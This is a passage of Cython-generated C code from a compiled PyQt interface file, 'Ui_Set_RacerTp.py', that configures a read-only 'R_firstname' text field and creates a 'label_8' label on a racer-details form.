(PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_3}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_3}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_5 = PyTuple_New(1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_5, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_5, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 21, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_Set_RacerTp.py":22 * self.R_firstname.setEnabled(True) * self.R_firstname.setGeometry(QtCore.QRect(110, 32, 200, 23)) * self.R_firstname.setMinimumSize(QtCore.QSize(200, 0)) # <<<<<<<<<<<<<< * font = QtGui.QFont() * font.setKerning(False) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_firstname); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setMinimumSize); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QSize); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__10, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_2, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 22, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_Set_RacerTp.py":23 * self.R_firstname.setGeometry(QtCore.QRect(110, 32, 200, 23)) * self.R_firstname.setMinimumSize(QtCore.QSize(200, 0)) * font = QtGui.QFont() # <<<<<<<<<<<<<< * font.setKerning(False) * self.R_firstname.setFont(font) */ __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtGui); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_QFont); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_5) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_5); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 23, __pyx_L1_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 23, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_v_font = __pyx_t_1; __pyx_t_1 = 0; /* "Ui_Set_RacerTp.py":24 * self.R_firstname.setMinimumSize(QtCore.QSize(200, 0)) * font = QtGui.QFont() * font.setKerning(False) # <<<<<<<<<<<<<< * self.R_firstname.setFont(font) * self.R_firstname.setMouseTracking(False) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setKerning); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 24, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__11, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 24, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":25 * font = QtGui.QFont() * font.setKerning(False) * self.R_firstname.setFont(font) # <<<<<<<<<<<<<< * self.R_firstname.setMouseTracking(False) * self.R_firstname.setAcceptDrops(False) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_firstname); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setFont); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_5))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_5); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_5, function); } } if (!__pyx_t_1) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_5, __pyx_v_font); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_v_font}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_5)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_v_font}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_5, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_INCREF(__pyx_v_font); __Pyx_GIVEREF(__pyx_v_font); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_v_font); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_t_4, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 25, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":26 * font.setKerning(False) * self.R_firstname.setFont(font) * self.R_firstname.setMouseTracking(False) # <<<<<<<<<<<<<< * self.R_firstname.setAcceptDrops(False) * self.R_firstname.setToolTip("") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_firstname); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 26, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setMouseTracking); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 26, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_tuple__12, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 26, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":27 * self.R_firstname.setFont(font) * self.R_firstname.setMouseTracking(False) * self.R_firstname.setAcceptDrops(False) # <<<<<<<<<<<<<< * self.R_firstname.setToolTip("") * self.R_firstname.setAccessibleName("") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_firstname); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 27, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setAcceptDrops); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 27, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_tuple__13, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 27, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":28 * self.R_firstname.setMouseTracking(False) * self.R_firstname.setAcceptDrops(False) * self.R_firstname.setToolTip("") # <<<<<<<<<<<<<< * self.R_firstname.setAccessibleName("") * self.R_firstname.setAccessibleDescription("") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_firstname); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 28, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 28, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_tuple__14, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 28, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":29 * self.R_firstname.setAcceptDrops(False) * self.R_firstname.setToolTip("") * self.R_firstname.setAccessibleName("") # <<<<<<<<<<<<<< * self.R_firstname.setAccessibleDescription("") * self.R_firstname.setInputMask("") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_firstname); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 29, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 29, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_tuple__15, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 29, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":30 * self.R_firstname.setToolTip("") * self.R_firstname.setAccessibleName("") * self.R_firstname.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.R_firstname.setInputMask("") * self.R_firstname.setText("") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_firstname); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 30, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 30, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_tuple__16, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 30, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":31 * self.R_firstname.setAccessibleName("") * self.R_firstname.setAccessibleDescription("") * self.R_firstname.setInputMask("") # <<<<<<<<<<<<<< * self.R_firstname.setText("") * self.R_firstname.setFrame(False) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_firstname); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setInputMask); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_tuple__17, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 31, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":32 * self.R_firstname.setAccessibleDescription("") * self.R_firstname.setInputMask("") * self.R_firstname.setText("") # <<<<<<<<<<<<<< * self.R_firstname.setFrame(False) * self.R_firstname.setReadOnly(True) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_firstname); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setText); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_tuple__18, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":33 * self.R_firstname.setInputMask("") * self.R_firstname.setText("") * self.R_firstname.setFrame(False) # <<<<<<<<<<<<<< * self.R_firstname.setReadOnly(True) * self.R_firstname.setPlaceholderText("") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_firstname); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setFrame); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_tuple__19, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":34 * self.R_firstname.setText("") * self.R_firstname.setFrame(False) * self.R_firstname.setReadOnly(True) # <<<<<<<<<<<<<< * self.R_firstname.setPlaceholderText("") * self.R_firstname.setObjectName("R_firstname") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_firstname); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setReadOnly); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_tuple__20, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":35 * self.R_firstname.setFrame(False) * self.R_firstname.setReadOnly(True) * self.R_firstname.setPlaceholderText("") # <<<<<<<<<<<<<< * self.R_firstname.setObjectName("R_firstname") * self.label_8 = QtWidgets.QLabel(Set_RacerTp) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_firstname); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 35, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setPlaceholderText); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 35, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_tuple__21, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 35, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":36 * self.R_firstname.setReadOnly(True) * self.R_firstname.setPlaceholderText("") * self.R_firstname.setObjectName("R_firstname") # <<<<<<<<<<<<<< * self.label_8 = QtWidgets.QLabel(Set_RacerTp) * self.label_8.setGeometry(QtCore.QRect(5, 70, 99, 23)) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_firstname); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_tuple__22, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 36, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":37 * self.R_firstname.setPlaceholderText("") * self.R_firstname.setObjectName("R_firstname") * self.label_8 = QtWidgets.QLabel(Set_RacerTp) # <<<<<<<<<<<<<< * self.label_8.setGeometry(QtCore.QRect(5, 70, 99, 23)) * self.label_8.setObjectName("label_8") */ __pyx_t_5 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 37, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_QLabel); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 37, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_5) { __pyx_t_2 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_v_Set_RacerTp); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 37, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_v_Set_RacerTp}; __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 37, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_5, __pyx_v_Set_RacerTp}; __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 37, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_2); } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 37, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_5); __pyx_t_5 = NULL; __Pyx_INCREF(__pyx_v_Set_RacerTp); __Pyx_GIVEREF(__pyx_v_Set_RacerTp); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_v_Set_RacerTp); __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_1, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 37, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_label_8, __pyx_t_2) < 0) __PYX_ERR(0, 37, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; /* "Ui_Set_RacerTp.py":38 * self.R_firstname.setObjectName("R_firstname") * self.label_8 = QtWidgets.QLabel(Set_RacerTp) * self.label_8.setGeometry(QtCore.QRect(5, 70, 99, 23)) # <<<<<<<<<<<<<< * self.label_8.setObjectName("label_8") * self.label_6 = QtWidgets.QLabel(Set_RacerTp) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setGeometry); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QRect); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_tuple__23, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 38, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_5)) { PyObject* function = 